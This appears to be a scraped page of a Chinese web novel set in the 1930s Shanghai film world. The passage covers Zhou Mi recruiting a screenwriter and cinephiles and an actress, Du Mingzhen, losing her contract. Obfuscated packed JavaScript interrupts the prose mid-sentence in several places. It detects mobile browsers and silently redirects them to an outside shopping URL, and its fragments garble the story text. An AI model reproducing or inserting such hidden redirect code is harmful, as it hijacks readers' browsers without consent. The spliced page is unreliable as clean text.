l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170736|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用这个来威胁他,换取更多利益,或者直接让他闭嘴。就像他刚才对她做的那样。 可她为什么没有? 难道就像她说的,女人也可以很君子? 他一直将“女性”与“情绪化”、“短视”、“依赖”甚至“可操控”联系在一起,而“君子”所代表的克制、守信、有所为有所不为,是他默认属于男性的品质。 是他太狭隘了? 他一直知道她是个很有能力的女性。但这次,他对她有了更多不一样的看法。 “……好。”他终于又挤出一个字,声音比刚才更哑,也更冷,“既然周小姐是个君子,那我就和周小姐订个君子之交,互相保密,我们公平竞争。" 他顿了顿,"但你绝无可能赢得了众一。”说罢,转身拦了辆人力车,扬长而去了。 周弥:“……” 她望着空荡荡的街口,足足愣了三秒,才反应过来—— 哎?不是?那不是我那辆车吗? 可恶啊!干嘛抢走人家叫到的车啊! 瑞星选址偏远,这附近非常不好叫车,要叫车,那还要看缘分。可是今天尤其的冷,总不能在这里杵着挨冻。 她只好又进了刚才那家咖啡屋。 白坐着也有点不好意思,于是又点了一杯咖啡,心想自己今晚是不用睡了。 侍者见她二次光顾,送来咖啡时,体贴地附上了一份当日的《申报》。 “小姐,天冷,看看报,慢慢喝。” 周弥道了声谢,目光落在展开的报纸上。娱乐版头条赫然是关于众一新片《楚月关山》的报道。 内容是这么写的: 众一电影公司新片《楚月关山》上映首周,沪上九大院线报收三万一千七百银元,创本季国产片开画纪录。 然而盛名之下,其实难副。 除却众一在服化道上的精致考究依旧冠绝沪上,该片叙事松散如断线珠串,桥段老套若隔夜茶汤。女将军披甲不足一刻,谈情却逾半程。若非片尾字幕明示,观众几难相信此为今年新作。 “我看四遍了,就为抽到女将军骑马款,”一名女学生向笔者坦言,“电影?倒是记不清讲了什么。” 由此可见,真正推动票房奇迹的,是那套“角色盲盒”的巧术,设“隐藏款”引动收集狂热。首映当天,大光明戏院门前,为求玩偶而重复购票者竟达五成之多! 诸君!请看今日沪上影院,我民族银幕,泰半已挂好莱坞之旗;同胞血汗钱,尽作滋养他人文化之肥! 笔者殷切盼望,我同业能抛却浮华,以赤子之心打磨每一帧画面。莫待他日,子孙问起:“中国电影何在?”我等只能黯然指向西洋海报,羞愧难言! 好一个热血的记者! 周弥没看过《楚月关山》,只是接了营销任务。但是电影史上没记载,想也知道大概率是部烂片。 但众一是大公司,舆论肯定都是打点过的,也不知道是哪个初出茅庐的愣头青,敢骂这么难听,完全不怕得罪人? 她抱着吃瓜的心往后看了眼落款: 申报记者李记元。 这热血青年竟然是李记元! 可是,他怎么把笔杆子对准邵同了? 36. 组建团队(五) 她正好奇这件事,对面卡座的椅子被轻轻拉开。 也算是说曹操曹操到,来人正是李记元。 自那场舞会后,这是他们两个第一次碰面。他看起来没什么变化,仍是那副娃娃脸的模样,头上依旧摸了摩丝,看着十分摩登,只是眼神里没有了当日的针锋相对。 周弥才拜读完他的文章,对他的印象有所改观,只是想到他之前的种种行为,不免戒备。 “李先生?有事找我?” 李记元有些局促,抬手摸了摸后颈: “方才周小姐在那边说话时,我就在隔壁卡座。我听到了周小姐要拍电影的事…本来以为没有希望,不想周小姐又回来了,我…" 他鸡零狗碎地说到这,又挠了挠头,这才说到正处,"我想问…不知周小姐的团队,还需不需要一个编剧呢?” 嗯? 李记元自荐来做她的编剧? 她看了他的报道,确实很有文字功底,最关键的是,十分能调动起人的情绪。 但是…… 她脑子里瞬间闪过舞会上他连番发难的模样。 这个人对她明明一直抱有审视甚至敌意,怎么突然…… “李先生,”周弥斟酌着开口,“你这转变让我有些意外。” 李记元像是早料到她会这么问。 “之前我对周小姐多有冒犯,甚至存心在舞会上刁难,这些我都不否认。原因很简单,我当时怀疑周小姐的身份。” “……” 看周弥不做声,李记元继续道:“这行很讲求资源,而资源又依赖名气。所以有些人会先通过这样那样的渠道,串通组织人参加名流的聚会。" "议题自然是提前拿到的,再提前准备一套说辞,这样就可以给自己镀金,扮作归国才俊、新派专家,从而进入精英圈层。我在报社工作,对这种门道再清楚不过,” 周弥听明白了,原来这时候就流行炒作了。 “我一看周小姐是个年轻女子,就有先入为主的观念,想你一定是托了邵同的关系,过来抬高身价的。”他说这话时,眼神往下飘了一瞬,像是自己也觉得这话说出来不太光彩。 “我这个人,平生最恨欺世盗名、不学无术之辈,一见就恨的牙痒,所以我那天过后,确实是存了心思想让你出个丑的。" 李记元不好意思地摸了摸鼻子:“结果周小姐不仅全部接住了,还能引申开去…" 周弥垂下眼,端起咖啡杯抿了一口,挡住嘴角那一点没藏住的笑意,“是么,我看你当时并不像服气的样子。” 李记元道:“当时我确实不服气,舞会散后,又去买了书籍,请教了几个电影专家。这些日子,我们一起彻夜苦读,可所得不及周小姐当场随口阐发的十分之一!我真是想不服,也得服了。” 周弥心中更是得意,但表面不好显露,只好说了几句客套话,又听李记元说: “我这几天正好想找机会再请教,今日偶遇,一定是缘法,又听到周小姐刚才说准备拍电影,不知……周小姐能不能让我加入您的团队,跟随学习呢?” 李记元其人,与其说是墙头草,不如说是个追逐“艺术标杆”的理想主义候鸟。 他最早是跟着白老板的,那时瑞星开创神怪武侠先河,票房轰动。 后来神怪武侠跟风泛滥,成了粗制滥造的流水线,不符合他对“艺术”的追求了,他便转投了当时以“精致古装片”闻名的邵同。 如今《楚月关山》的平庸,看来又让他对邵同失望了,所以直接发文喷了邵同。 哪里展现出的电影理念更强大、更先进,他的忠诚便可能飞向哪里。 对其他人来说,可能这是一个极大的雷点,但对周弥来说,倒是一个可以确认的稳稳的幸福: 他只能一直当自己忠诚的小老弟了。 周弥笑道:"可以是可以,只不过,当前这部作品剧本已经写完了,下一部电影的剧本倒可以交给李先生打磨。下一部准备做歌舞片哦!" "歌舞片好呀!" 李记元平时就喜欢去爵士阁消遣,对音乐舞蹈有些研究,也听说有声电影诞生后,歌舞片已经成为大洋彼岸最热门的片种。 一听这个规划,他马上欢欣鼓舞: "真是多谢周小姐不计前嫌!不计较我的小人之心了!" 一个月前,他还是邵同的座上宾,张口闭口“有声不过是西洋噱头”。现在崇拜了周弥,马上倒戈,对有声电影起了偌大的兴趣。 两个人又讨论了一会儿爱森斯坦的电影理论,李记元一边记笔记,一边唯唯点头。 咖啡店人来人往,大家看到一个中年男士冲一个二十出头的年轻女士虚心请教的样子,暗中啧啧称奇。 不一会儿,邻桌有人站起来。 两个穿长衫的年轻男子,一前一后走了过来。走在前面的那位眉目清朗,步履生风;后面那位沉静些,手里还卷着一本外文杂志。 二人在桌边站定,朝周弥微微欠身。 “冒昧打扰。”前面那位开口,声音清朗,“方才听二位谈论爱森斯坦,实在心痒难耐,不知可否请教一二?” “请坐。”周弥放下咖啡杯。 二人对视一眼,在对面的空位坐下。前面那位自我介绍叫赵孟飞,后面那位叫刘钊。 “周小姐,爱森斯坦先生说,将工人被镇压的镜头与屠宰场宰牛的镜头并置,可以让观众领悟到沙皇统治的残酷。” 赵孟飞眉头微微蹙起, “可这种强烈的象征隐喻,真的有用吗?” 他语速很快,像是这个问题在心里憋了很久,终于找到人问了: "上海的工人观众,没有受过影像训练,他们看到牛的喉咙被割开,会不会只想到牛被杀了好可怜,而联想不到那些本该被指向的东西?” 嗯? 这两个人关注工人,而不关注市场… 莫非,他们是未来的左翼电影人? 周弥记得史料上记载过,这些电影人经常在咖啡馆活动,有时讨论电影,有时讨论局势,有时写剧本,有时做交易。 像《狂流》《春蚕》等进步剧本,就是在咖啡馆中卖出的。 真是顿感亲切啊! “赵先生这个问题,问得很好。爱森斯坦自己,其实也想过这个。” “他在莫斯科电影学院教书的时候,有一次把《战舰波将金号》放给乌克兰的农民看,那些农民没进过城,也没见过电影…” “放完之后,他问:你们看到了什么?农民说:看到一群人跑来跑去,后来死了很多人。” 赵孟飞怔住了。 "爱森斯坦后来说,我发明了理性电影,但我的电影在农民看来,只是一群剪影晃来晃去。所以你们刚才那个问题——工人看到牛被杀,会不会只想到牛好可怜?” 她点点头,“会的。” “那怎么办?”刘钊往前倾了倾身。 周弥笑了笑。 “这就是为什么电影不能只有隐喻,还得有故事。让有解读能力的观众看到隐喻的深度,同时,让另一部分观众也能在表层的叙事里获得完整的情感体验。” 她微微停顿,补充道: “这很难,但并非不可能。我们可以在剪辑节奏、人物视角上做铺垫,让观众先喜欢上人物,再通过人物的眼睛去看那些隐喻性的画面。也算是一种寓教于乐嘛!” "原来如此!" 三名男士点头如捣蒜。 他们虽然彼此并未交流,但各自暗自赞叹周弥真是不世出的奇才,年纪轻轻就如此渊博,眼光还如此超前。 见三人心折的样子,周弥知道导师的论文又俘获了三个民国粉丝。 有一天如果能回去,一定得让老师给她打推文费! 又说了许久,等她说到爱森斯坦准备把《资本论》拍成电影时,往窗外瞄了一眼,太阳已经落了山。于是一系围巾,准备起身告辞。 “别呀别呀!现在才七点钟!” 这三个人还急着听下文,一看周弥要走,马上就炸了,如果她是位男士,恐怕就要六只手齐齐将她按在座位上。 周弥故作为难:“我还要去筹备我的电影呢,现在经济上紧张,人手更是不宽裕,我已经为你们耽搁了一下午,再不去拉人拉钱,团队都要搞不起来了。” 赵孟飞一击掌:“哎呀!这有什么难的!今天不正是周五嘛!” 刘钊和他对视一眼,笑着接话:“周小姐有所不知,我们有个电影爱好者群体,每周五晚上都在八仙桥青年会一起研究电影。您若是肯拨冗过去一趟,只消露上今晚这一成的学问,保管满座拜服。” 赵孟飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182539|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“正是,大家都是对电影有真兴趣、也有一定基础的,美术、摄影、文学各路的同好都有。我敢打包票,只要周小姐肯去,您缺的人手……不是您求他们,是他们求您收留!" 他一挥手,斩钉截铁,"周小姐一挥手,任您驱策!反正我是这样的!” 李记元马上说:“我也是这样的!” 刘钊含笑道:“孟飞说的是。至于资金的事,我想也不是什么天大的难处。众人拾柴火焰高,大家各尽所能,众筹些股本,想也能撑起一部像样的片子。” 周弥笑道:“能群策群力就好,驱策可不敢当。” … 青年会的聚会地点在八仙桥一幢灰白色三层小楼里,门脸不起眼,夹在一家南货店和修钟表铺之间。 上了二楼,推开褪漆的木门,里头是个能容三四十人的厅堂。 最里头拉着一块补过好几处的白幕布,旁边搁着台二手手摇放映机,机身上“柯达”字样的金漆已经磨掉了大半。 长条木桌拼成一圈,桌面坑坑洼洼。椅子各式各样:有从楼下南货店借来的条凳,有几把藤面破洞的太师椅,还有几个年轻人干脆坐窗台上。 讲到《战舰波将金号》中最有名的段落“敖德萨阶梯”时,李记元本来一直伏在桌边记笔记,写到这儿笔停了。 他突然抬起脸,颧骨泛着兴奋的红,把笔往桌上一搁,指节叩了叩桌面,“诸位,听我说一句。” 他环顾四周,声音因激动而有些发紧: “周小姐今晚所讲,大家零星记几页纸,散会各回各家,不可惜么?这些见解,这些从大洋彼岸刚露苗头、咱们这边闻所未闻的理论,大家舍得就这么零零散散,不成体系么?” 有人低声应是,更多人屏息听着。 李记元把笔记本往前一推, “我提议:周小姐定期为我们讲学。不局限爱森斯坦,不局限蒙太奇,就把当今世界电影最前沿、最先进的东西,凡周小姐肯讲的,我们都记。" 他把手掌按在那本摊开的笔记本上,继续道:"分篇章、分专题,整理成册,油印也好,手抄也罢,留一份下来留给后世。” 厅堂里静了两秒,掌声四起,大家都喊好。 刘钊等那阵喧哗略略平复,犹豫道: “我也正有此意。但周小姐正在创业,手头一部电影正要上马,会不会太占用周小姐的时间?” 李记元几乎是抢着接话: “那大家把人手资金给周小姐凑齐了,不就把周小姐的时间省出来了吗!” 他朗声道:"这个世界上,学问最重要!不为别的,就为咱们后世想学电影的人,不至于像我们一样,摸黑走了那么多冤枉路!" 话音落地,满堂又是轰然一阵叫好。 靠窗站着的一个年轻人当即把手伸进怀里,摸出几张皱巴巴的钞票,往桌上一放: “周小姐拍片子,我这点钱不够干什么,买卷胶片总是能的!” 旁边一个穿旧西装的立刻跟上:“照明工我会!周小姐场子拉起来,我下班就来!” “群众演员需不需要?” 大家七嘴八舌,有的要出钱,有的要出力。 “这样的话,周小姐愿不愿意教我们呢?” 周弥早已热血沸腾。 她想起导师说过的一句话: 拍电影是最伟大,最浪漫的集体创造,这是一群性格不同的人,共同在雕刻时光。 原来,世界上真的有这么多理想主义者。 所以,有何不可呢? 她把围巾解下来,搭在椅背上。 “以后我每周来一次。就定周五晚上,八仙桥。” 赵孟飞站起身来,朝周弥深深一揖。 “那么——我替全体电影人,谢过周小姐了。” 满厅堂的人,像被一根看不见的线牵引着,齐刷刷站了起来。 长衫、西装、工装、洗得发白的旧棉袍…高的矮的,年轻的年长的…此刻都敛去了急切的颜色,安安静静地,朝着同一个方向,深深弯下腰去。 周弥没有躲。 她站在原地,受了这一礼。 然后,也端端正正地还了一礼。 窗外的夜色正浓。那盏白炽灯泡的黄光,把满屋子人的影子投在地上,重重叠叠,像一片森林。 37. 上映前夕(一) 杜茗珍被辞退了。 辞退风波,追根溯源,来自一次过分的要强。 从华光的演员学校毕业后,杜茗珍和孙祺瑶无缝进了《风流夜》剧组。 这年头的演员学校,大多是急就章,三个月速成,教些走位、哭笑、对光的基本功,便像流水线上的零件一样输送进各个剧组。 为了能快速出成果,演员学校的学员一进去,就会得到演出的机会,通常都是配角。 《风流夜》名字听着香艳,实则是部披着言情外衣的爱国戏:讲一群沪上纨绔公子,如何成长为热血青年的故事。 杜茗珍生得明艳,导演给她安排了个美妇人的角色。但在剧本里,美妇人是个绊脚石,阻挠丈夫进步,是片中守旧自私的象征。 孙祺瑶长得平凡,导演给她安排的角色是丫鬟。可这个丫鬟,是在公子哥颓唐时默默支持他的进步女性。 这两个角色的戏份都轻如鸿毛,连挂件都算不上,每人各三句台词,算是男人戏中调剂情绪的点缀。 不过是两个连姓名都没有的小角色, 偏偏这期报纸开了一期评配角的专栏。 于是,一些进步影评人对孙祺瑶饰演的角色多有赞许,对杜茗珍扮演的那个角色多有批判。 当然,评的仅仅是故事里的角色,压根没提演员的事。 可杜茗珍有凡事都要力争上游的心气,特别是针对孙祺瑶,那更是分寸必争。 再加上,她又听说,孙祺瑶当初试镜本已落选,是公司的高级顾问一句话力荐,才挤进剧组。 一打听高级顾问是谁,顿时气不打一处来。 难道这年头,不靠人脉,靠自己就搞不成事么?!自己再优秀又如何,顶不住有关系的人一句话。 她家只算小富,如果要凭借钱财在电影圈打点,决计指望不上。而自己最大的资本,就是这一身好皮囊。 她知道在这个圈子,堕落是很容易的。 一杯酒,一个笑,一次偶遇,一道暗示。一旦松了那口气,放下那点无谓的矜持,机会便会成群涌来。 可她和那些女人又不太一样。 她不甘心,不甘心只做花瓶,不甘心沦为玩物,她希望能像孙祺瑶那样,拥有一个真心赏识自己,且有能力照顾她的人。 如果…… 一个念头,像黑暗中滋生的藤蔓,悄然缠绕上来。 如果能做陆家的少奶奶呢? 华光未来的女主人。到那时,最好的剧本、最亮的角色、所有人的仰视……不都该是她的么? 这念头一旦生出,便再难掐灭。 杜茗珍准备“无意间”在老板办公室所在的走廊附近徘徊。 她算准陆世铮来去的时间,穿着最衬肤色的淡樱色旗袍,发髻梳得一丝不苟,练习了无数次“偶遇”时该有的、那种恰到好处的惊讶与羞怯。 真正实践的时候,正好偶遇了孙祺瑶。 "珍珍,你为什么不把时间用在声音训练上呢?听说很快就都是有声电影的天下了。" 杜茗珍有些烦躁:"少碍我,难道只许你有贵人不成?" 这句话说完,她有些后悔。孙祺瑶特意来提醒她训练,应该不存在恶意。 如果孙祺瑶哄她两句,她就会原谅孙祺瑶了。可是孙祺瑶并没有,她只是叹了口气,说:"那我去训练了。" 杜茗珍第一次感受到了心碎。 孙祺瑶的注意力,好像不在自己身上了。 "瑶瑶!" "怎么了?"孙祺瑶回头望着她。 "你要是走远了…我就不跟你做好朋友了。" 她说出这句莫名其妙、驴唇不对马嘴、毫无逻辑的话。孙祺瑶转过身子望着她,沉默不语。 望了好久,终于叹了一口气:"我又做错什么了?为什么又这样呢?" 杜茗珍不再说话,只是这样看着孙祺瑶,等她给一个惯常的立场。 谁知孙祺瑶并没有给她,而是转身走掉了。 杜茗珍脸色变得惨白。 孙祺瑶果然不再把她放在第一位了。 这个认知带来的眩晕和虚脱感如此强烈,让她双腿发软。若不是在这人来人往的行政楼走廊,她几乎要顺着墙壁滑坐下去。 “你怎么了?不舒服?” 杜茗珍猛地回神,抬头,正对上陆世铮微蹙的眉头。他不知何时出现的,就站在几步开外,手里拿着份文件,目光落在她苍白的脸上。 “我……我没事,陆先生。”杜茗珍连忙站直,扯出一个虚弱的笑。 陆世铮沉吟片刻:“但是你脸色很不好。到我办公室休息一下吧,我让人给你倒杯热水。” 他说着,已绅士地侧身引路。杜茗珍晕乎乎地跟着,走进他的办公室。 陆世铮让她在沙发上坐下,吩咐秘书倒了杯热茶,又被匆匆进来的助理叫走。 “我去一下片场,你先坐一会儿,缓一缓吧。”他临走前这样嘱咐。 办公室里只剩下杜茗珍一人。 她捧着微烫的茶杯,失神地望着窗外明晃晃的天光。 她和孙祺瑶从初中就认识,如果要计算年份,大概已经有五六年之久。自己一直将她当做最亲密的朋友,可她怎么回事,人怎么能这么善变呢? 想到此处,杜茗珍心里好难过,手一抖,瓷杯脱手,在地上摔得粉碎。 她低呼一声,蹲下身,想将碎掉的瓷片捡起来。 “嘶——” 指尖传来尖锐的刺痛,一片锋利的碎瓷边缘划破了她的手指,血珠迅速渗了出来。 真是倒霉透顶! 她忍着痛和烦躁,站起身,目光扫向宽大的红木办公桌。 上面整齐地摆着文件、钢笔座和一台电话机,桌角放着一盒软面巾纸。 她走过去,用没受伤的手抽了两张纸,按住伤口,血迹很快在洁白的纸面上晕开。 她蹙着眉,想找地方扔掉脏污的纸巾,桌旁有个藤编的废纸篓,里面扔着些团起的废纸。 纸张质地很好,是带有暗纹的私人信笺。他会给谁写信呢? 杜茗珍产生了极大的好奇心。她回头飞快地瞥了一眼紧闭的办公室门,外面静悄悄的。 她将纸团展开,信上面是这么写的: 周弥小姐芳鉴: 提笔写这一封信予你,内心实在惶惑,唯恐唐突,反令周小姐对我印象欠佳。然我对小姐的钦慕之心,终是胜过了这惶惑,教我无论如何也按捺不住这写信的冲动。 杜茗珍的手心瞬间变得冰冷,她强迫自己往下看去: 周小姐为人一向磊落洒然,学识见解更令我深为折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200250|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服。无论如何,总是站在时代潮头的新女性。因此,也许只会笑我高攀,并不笑我唐突。 古人云“倾盖如故”。在我于华光初晤女士之前,从未想过会对一位女士生出这般感触。 我虽自诩受新式教育长大,扪心自问,骨子里对自身男性身份,仍不免带着几分旧式熏染下的倨傲。因此初见那日纸条,便先入为主,认定是位先生手笔。及至见面,起初也并未抱有多少期待,直至听闻周小姐的高论,实在令我为自己的狭隘而汗颜。 那日分别后,周小姐大约并未将我放在心上,可我心中,却已生了“倾盖如故”的妄念了。 同学会上,我第二次见着周小姐,几乎难以自持。但我必须声明一句:这只是我个人钦慕过热,绝不敢存半分设想,要周小姐回报我同等热情。 我不过一介商人,所创影业尚在草莽,毫无建树。家父生意虽做得大,那也绝非我自己的成就。我本人并无可夸口之处,但唯有一层,我确有真正想做事业的抱负,也有力争上游的心气。就凭这一点,我想我和周小姐应该是有话可聊的。 因此,我想争取与周小姐做个比朋友更亲近一步的关系。设若周小姐觉得高攀了,就请把信扔了,只当没有这回事。 我深知 信到此戛然而止了,并没有写完。 杜茗珍呆呆地坐在沙发上,觉得不可思议。 华光影业虽是初创,可短短一年追赶上发展十几年的众一和瑞星,在沪上谁人不知陆世铮青年才俊、手腕了得? 他为何要在她面前如此卑微呢? 而且,他对她的为人,似乎并不十分了解。 别的不说,光磊落这个评价,就和周弥并不相符。 就在这发怔的时候,听到了陆世铮的脚步,她慌忙将这张信纸团回原来的样子,向废纸篓一扔。 “不好意思,我……”杜茗珍冲陆世铮伸了伸手指示意,“所以抽了两张面巾纸。” 接着,她用眼神瞥了一下地上的碎片,有些窘迫:“我本来想捡起来的,谁知……” 陆世铮眉头微蹙:“这没关系。我叫人来打扫就是了。你这个口子不小,快去医务室包扎一下吧。” 杜茗珍犹豫了一下,暗示道:"我不知道医务室在哪里。" 陆世铮却并没有想亲自带她去的意思。 看他手伸向那个呼叫秘书的电铃按钮,杜茗珍瞬间感觉自己脸颊发烫。 杜茗珍啊杜茗珍!你不是最要面子的吗?难道除了绞尽脑汁去做别人的少奶奶,你无路可走吗? "陆先生!"她开口喊住了他,"不用麻烦别人了,我想起来,我曾经是路过一次的。" 但她并不准备马上去医务室,她还有话没有说完。 经过思想的自我洗涤,她相信自己现在完全站在道德高地。有力量,也有立场横扫一切道德有瑕疵的人。 "有个工作的事情…是关于公司顾问周弥小姐的。" "哦?"陆世铮果然露出关注的神色:"她怎么了?" 杜茗珍郑重其事道: “周小姐违背顾问规定和职业道德,表面为华光工作,实际上另起炉灶,利用公司的技术资源和顾问履历为自己背书,私下正在筹备自己的制片项目。" 她顿了顿,"这件事,您应该不知道吧?” 38. 上映前夕(二) 陆世铮的手原本搁在桌面上,这时缓缓环了起来,指节轻轻扣着。他沉默片刻: “好,这事我知道了。” 这么冷静? 杜茗珍心里那根悬了许久的弦,忽然就空落落坠了下去,没着没落。 她站在原地,等了一会儿。 他没有再开口。 她转身,走出去,走到门口,回头看了一眼。 他已经低头去看桌上的文件了。 他应该还需要时间消化。耐心些吧,过了今夜,明日或许会有个动静。 一日。两日。一周。两周。 耐心一点点磨得精光。 她决意要给这件事,添上一把外力。 翌日。 三号摄影棚角落。 “——可不是嘛,周顾问本事大,这边挂着华光的职,那边自己拉起班子开机了。” “这叫两头吃。也就是咱们老板脾气好,换我早翻脸了。” “嘘,小声点。万一有工贼和周顾问走得近……” “走得近怎么了?她做得,别人说不得?” “好啦好啦,他们领导班子不是在开大会嘛,到时候老板肯定得给个说法,不然真得反了天了。” 杜茗珍正靠在折叠椅上翻剧本,膝盖上搁着一杯从茶馆叫来的热红茶,方糖纸团成小颗,一粒一粒排在扶手上。 孙祺瑶一把攥住她的手腕,把人往楼梯拐角拉。 杜茗珍被拽得踉跄,剧本滑到地上,她来不及捡,茶碗在碟子里哐当晃了一下,泼出小半圈褐色的水渍。 楼梯拐角,很僻静。 孙祺瑶终于松开手:“珍珍,这件事是你说出去的吧?” 杜茗珍低头看自己手腕,被攥红了一圈。她抬起眼皮,语气平平的:“是又怎么啦?” 孙祺瑶跺了一下脚:“你怎么这样!你不是答应我保密的么?你说话不算话!” 杜茗珍冷笑了一声:“这件事她做的不对在先,我凭什么要为她保密?” “你——”孙祺瑶被她噎了一下,又跺了一跺脚,“早知道你这样,那天我就不该拉你一起去!” 杜茗珍的脸色变了,她生气地瞪着孙祺瑶: “什么叫拉我?说的好像我是被捎带的一样。你到底怎么回事?越来越分不清自己几斤几两了?" “杜茗珍你——” 杜茗珍从没听过孙祺瑶这样连名带姓的喊自己,感觉一阵心慌。 她是刚烈的,绝不饶人的性子,反映在嘴巴上,言语就更厉害了: “我什么?如果你找我是为了说这件事,那么是非曲直,一会儿自有公论。你就等消息好了,只会跟我逞威风有什么用?” 她往前走了两步,有些咄咄逼人: "我们认识多久?你和周弥认识多久?你干嘛为了一个刚认识的外人,和这么多年的朋友吵架?" 楼梯转角很静。 静得能听见楼下摄影棚隐约的喊场声,隔了几层楼板,闷闷的,像从很深的水底传上来。 "可是我没感觉你把我当朋友。" "什么?" "我说,我没感觉你把我当朋友!" 孙祺瑶抬起头,直视着杜茗珍的眼睛。 "…你这叫说的什么话?"杜茗珍想了想,眉毛一横,顿悟了什么似的,"好呀!你准是听了周弥的挑拨啦!怎么,预备和我绝交?" 通常"绝交"这两个字一出,就是杜茗珍在像孙祺瑶下最后通牒,和"哄我"是一个意思。 孙祺瑶沉默了一会儿。 “你如果这样对我,”她说,“我同意。” 她的表情很认真。 杜茗珍张了张嘴,好久才挤出一个字: “……你!” 楼梯底下传来脚步声。场务小陈探出半个脑袋,看见她俩,愣了一下: “哟,你俩躲这儿干嘛?演员组喊人半天了——咦,你俩眼睛咋这么红?” “没事。”杜茗珍打断他,“风大。” 小陈看看这楼梯拐角,四面都是墙,哪来的风。但他识趣地没追问,只挠了挠后脑勺: “哦对了,你们不是关心那个会嘛。我刚从那边过来,嘿嘿,没事儿,已经都散了。” 他顿了顿,脸上浮起一种复杂的表情,像是佩服,又像是看不懂: “陆先生把话都挡回去了。最后问‘还有别的事吗’,那语气,谁还敢有啊。” 杜茗珍转身就走。 她气愤极了,简直是义愤填膺,她现在就要去质问陆世铮。 周弥凭什么?凭什么她可以在外面拉班子、开新戏,这边还稳稳当当坐着华光顾问的位子?凭什么陆世铮在会上替她把所有反对的人都挡回去?凭什么—— 凭什么所有人都围着她转? *** 杜茗珍进门的时候,陆世铮正在看文件。 “陆先生,”她走进去,在办公桌前站定,“我有话要问您。我不理解,怎么能这样莫名其妙就算了!" 陆世铮手里的钢笔在指尖转了一圈,道:“我也不理解,是不是处罚周小姐,和杜小姐有什么关系?” 杜茗珍蹙起眉头:“怎么没关系?这关系到——关系到公平!她在外面接私活,什么事没有。大家以后是不是都可以学她?” 她说着说着,自己都觉得这些话很有道理。对,就是这样。她不是针对周弥,她是为华光着想,她是—— “杜小姐。”陆世铮打断她,"如果这就是你今日到处宣扬这件事,导致我需要特意开会解释这件事的理由…" 他弯下腰,从办公桌下层的抽屉里抽出一个牛皮纸袋。放在桌上,解开封口的棉线,从里面取出一份合同,翻开推到杜茗珍面前。 “你看看这个。” 杜茗珍低头看去。 合同封面上印着“华光影业公司特别顾问聘用合同”,底下签着周弥的名字,墨迹已经干了有些日子。 陆世铮的手指按在某一行条款上。 “第三款第七条。特别顾问一职,性质为项目制合作,不设竞业限制,顾问有权独立承接或参与本公司以外的电影制作。” 不设竞业限制? 杜茗珍脸色很不好看:"我从来没听过有不设竞业限制的顾问。"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213255|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“之前确实没有过。”他顿了顿,“我为了能留住周小姐在华光任职,所以特设的。” 他的声音很平静,只是在陈述一个事实,不是解释的态度。 “她的才华,是中国电影未来的希望,我不可能限制。这既是我对她的承诺,也是我内心所希望的。” 杜茗珍感觉浑身发烫,一股难以言说的愤怒涌上心头: “才不是!你这是假公济私!因为你喜欢她!所以你才替她挡枪、替她说话!” 陆世铮怔了一下。他垂下眼,似乎在回想什么,然后抬起眼,眉峰轻轻挑了一下, "我没想到,杜小姐有翻垃圾桶的爱好。" 杜茗珍脸一红,刚要说些什么,他伸出手,制止了她的发言: “公司眼下所布局的一切,都是周小姐提前让我准备的。从电机摄影机到有声技术的方向,从研发进度到人员配置——她比我更早看到接下来三年该往哪儿走。” “所以,并非假公济私。我做的事,为的是公事。说实在的,如果不是周小姐提前布局演员的训练,我不会特意再选拔演员。你要知道,华光原本的演员人才库就很充足。” 这次,轮到杜茗珍怔住了。照他这么说,她是受益于周弥了? 陆世铮把那份合同放回牛皮纸袋,重新系上棉线,又从抽屉里又取出另一份文件,翻开推到杜茗珍面前。 “你的合同,”陆世铮把那份文件往她面前一推,“第一期演员培训结束后,公司会根据表现决定是否续约。” 杜茗珍低头看了一眼。封面上印着“华光电影公司演员培训合同”,旁边有行小字:“培训期三个月,期满考核,择优续约”。 她知道这个规矩。同期四十多号人,最后能留下的,十个不到。每个月都有考核,每场考核都有人走。 “我可以提前通知你,”陆世铮顿了顿,“不再续。” 杜茗珍猛地抬起头,她感到难以置信: “为什么?就因为我把她的事说出去吗?我又不知道你和她是如何约定的!难道我的出发点不是为公司好吗?” 陆世铮没有直接回答这个问题,但他的口吻相当公事公办: “你经常逃避训练,演技方面,和同期进入的孙祺瑶相比,相差多少,你自己也清楚。” 他走到办公桌后面,双臂环在胸前: "你的心思,完全不在拍戏上,何必浪费时间。你既然还有学业要兼顾,等培训期结束,就好好读书吧!" 杜茗珍明白了,她被解聘了。 既然如此,何必等合同到期? 